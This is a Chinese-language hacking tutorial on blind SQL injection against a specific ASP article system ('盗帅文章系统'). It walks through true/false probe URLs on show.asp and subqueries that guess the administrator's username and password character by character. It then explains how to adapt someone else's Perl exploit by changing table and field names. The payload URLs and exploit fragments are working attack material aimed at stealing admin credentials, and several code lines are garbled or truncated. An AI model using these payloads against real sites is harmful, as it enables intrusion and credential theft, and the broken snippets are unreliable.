最近帮朋友查看站点的安全性问题,该站点使用的是盗帅文章系统,出于没有版本号。从功能上判断是最新版本。我不知道还有怎么样的漏洞,就先去找来一个研究一下代码。以及熟悉一下数据库的结构。在看到show.asp这个文件的时候,发现下面的代码似乎存在问题。
id=request("id")
Set rs =server.CreateObject("ADODB.Recordset")
sql="SELECT*FROM article where id ="&id rs.OPEN SQL,Conn,1,3
if rs.eof then
article="没有文章"
else
再看看下面的代码
<!--#include file="db/user.asp"-->
<!--#include file="config.asp"-->
<!--#include file="udb.asp"-->
<!--#include file="global.asp"-->
在这些被引用的文件中,没有一个是对提交的数据做了检查的,果然有漏洞。最主要的是没有禁止空格(仅禁止空格是不够的,这里是相对这个程序而言),这样我们就可以进行跨表查询了。顾名思义,就是提交精心构造的语句查询其他表里面的数据。这个show.asp的ID没有检查就放进查询语句。查询的表是artic1e,我们通过提交子查询语句来查询admin而里面的用户名和密码,这样就是跨表查询了,也是SQL Injection的一种。
注意 在实际中,浏览器会自动把地址栏中的空格转换为%20,以下所有提交的语句中包含的%20我乙经全部处理掉,这样大家看得更加清楚。
跨表查询是通过什么来判断呢?通过提交的等式、不等式看返回的页面。比如提交下面的代码
http://127.0.0.1/show.aspid=1 and 1=1
http://127.0.0.1/show.asp?id=1 and 1=2
看到后面的1-1、1-2就是一个关键,前者值为真、后者值为假。如果漏洞存在,一般返回的两个不同的页面或者不同的错误信息。具体来说就是刚才我们看的盗帅文章系统2002特别版。当我们提交第一句的时候文章正常显示,提交第二句的时候返回"没有该文章",这样我们就可以通过页面的信息判断我们提交的子查询是否获得正确信息。
下面再来来看看这句SQL查询语句
select字段from表where某标准
这条语句的意思就是以某标准查询在某表中的某字段,selectmmn (id) from admin where len(admin).5这句的意思可以这样理解,以字段admin中长度为5的字符串为标准在admin表中查询ID字段中的最小值。我这样解释可能比较难理解,我是根据语句的解释来解释含义的,这里涉及的函数我们就不讨论了,大家可以去翻翻专业的数据库书籍。这句查询语句是查询ID的,所以返回的就是ID字段中的值,比如返回2,那么在刚才的查询中:
http://127.0.0.1/show.asp?id=1 and 1=(select min(id)from admin where len(admin)=5)
也相当于
http://127.0.0.1/show.asp?id=1 and 1=2
返回"没有该文章:,因此为假值,当我们提交:
http://127.0.0.1/show.asp?id=1 and 2=(select min(id) from admin where len(admin)=5
正常显示文章,说明ID后跟的是等式,所以我们要查询的最小ID字段中的值是2。下面我把所提交的语句得到真值的结果全部写出来,大家结合上面的理论很容易就可以理解了。为了容易着,我把浏览器所产生的空格都去掉了。
http://127.0.0.1/show.asp?id=1 and 1=(select min(id)from admin where qx=2)
--获得管理员权限的最小id值为1
http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where len(admin)=5)
--获得id为1的管理员的用户名长度为5
http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where len(pass)=5)
--获得id为1的管理员的密码长度为5
http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where left(admin,5)=admin
--获得id为1的管理员从左边数起的5位用户名为admin
http://127.0.0.1/show.asp?id=1 and 1=(select id from admin where left(pass,5)=admin)
--获得id为1的管理员从左起数起的5位密码为admin
如果大家还是不好理解,我们就来看看最具体的过程。首先,提交一个子查询:
http://127.0.0.l/show.asp?id=l and l=(selectmmn(id)from admin where len(admin)=5)
得到管理员(QX=2)的最小ID值,现在我们的目标就锁定这个ID值为1的管理员。如果返回错误就把and后面的1改大点,比如2。现在我们就开始获取这个管理员用户名的长度
http://127.0.0.l/show.asp?id=1 and l=(select id from admin where len (admin)=5)
这个等式在admin表里查询admin字段长度加的ID.如果对了,那当然就是1了,所以等式成立。如果长度不是5,那么就会显示"没有该文章"。这里len(涵数用于取字符(串)的长度。知道用户名长度后,我们就开始猜测用户名。用left()函数从左边或用right()涵数从右边逐位推测出用户名:
http://127.0.0.l/show.asp?id=l and l= (select id from admin where left (admin,1)=a)
在admin字段里从左边数起的前一位字符为a,正确,显示文章,如果错误了,返回"没有该文章"。
http://127.0.0.l/show.asp?id=l and l= (select id from admin where left (admin,2)= ad)
在admin字段里从左边数起的前两位字符串为ad,正确,显示文章,如果错误了,返回"没有该文章"。
最终得出:
http://127.0.0.l/show.asp?id=l and l= (select id from admin where left(admin,5)=admin)
在admin字段里从左边数起的前5位字符串为admin,因为长度只有5,那么admin就是用户名。这就是推测用户名长度以及具体的用户名的过程,密码也是同一个道理。这个过程大家可以参考图1和图2所示的内容。
注意如果在left(pass,1)=后面是数字,那么要把数字用单引号包含起来,例如left(pass,1)='1',否则程序会出错。
制作Exploit
现在我们知道管理员的用户名和密码了。但是实际中,没有哪个安全意识高的管理员的密码是8位以下的,用户名也一样。如果我们真的靠手工提交语句,那我们真的要等到老了,所以我们要做一个Exploit来为我们完成这项工作。这方面的Exploit当然用Per1写比较好了,但我们这种菜鸟不会写怎么办?活学活用,修改别人的。下面我们来分析一下由wawa写的Crack user&pass for DV_article system。
其实这类脚本都是差不多一个道理,利用某一个文件的漏洞来进行跨表查询的操作。尽管你看不懂大多数代码,但刚才我们不是学习了那个SQL查询语句吗?我们就可以依葫芦画瓢把这个针对动网的Exploit改为针对盗帅文章的了,想改成什么的都可以啊,还可以扩充其他功能。看看下面的代码
for($adminid-1;$admin
{
$way1="?id=$stxtid%20AND%20$admin=(select%20min(id)%20from%20admin%20where%20flag=1)'
上面的$adminid变量是定义管理员ID的取值范围1一100,$后面的都是变量,不用去改。(select%20min(id) %20 from%20admin%20where%20flag=1)这里就是我们要改的查询语句。动网的admin表里面的flag字段等于1的是管理员,而盗帅的是字段qx等于2的是管理员。我们就可以把flag=1 改为qx = 2,from%20from%20admin%20where%20flag=1里面意思是从admin里查询。盗帅的和动网一样,我们就不用改了,改完后的代码如下
for($adminid=1;$adminid
{
$way1="?id=$txtid%20AND%20$adminid=(select%20min(id)%20from%20admin%20where%20qx=2)";
再看这句代码
for($passlen=1;$passlen
{
$way1="?id=$txtid%20AND%20AND%20$passlen=(select%20len(password)%password)%20from%20admin%20where%20id=adminid);
上面是$passlen变量,也是定义取值范围,即密码长度。动网存放密码的宇段是password,盗帅的是pass,所以我们要把password改为pass,改完后就是这样:
for($passlen=1;$passlen
{
$way1="?id=$txtid%20AND%20$passlen-(select%20len(pass)%20from%20from%20admin%20where%20id=$adminid)";
由于盗帅的密码最大长度是50,所以我们必须把$passlen的最大值改为50。其他的地方大家应该会改了吧?都是依葫芦画瓢的,只要表名、字段名、数据长度对就可以了。这样你也可以在没有办法写出Exploit的时候借用一下现成的。但是真的要写出好的Exploit,还得下大力气精通那些编程语言,毕竟这是修改别人的嘛¨
总结
下面总结一下关于跨表查询的步骤和思路。
1、确定是否存在漏洞,也就是提交值为"真"和"假"的两个语句,根据返回信息判断。
2、找到源程序来研究数据库的结构、表名、字段等。如果是自己写的或是本公开的程序,只有瞎子摸象了。
3、知道表名和字段后用函数慢慢猜出我们想要获得的字符串(或编写Exploit来提高效率)。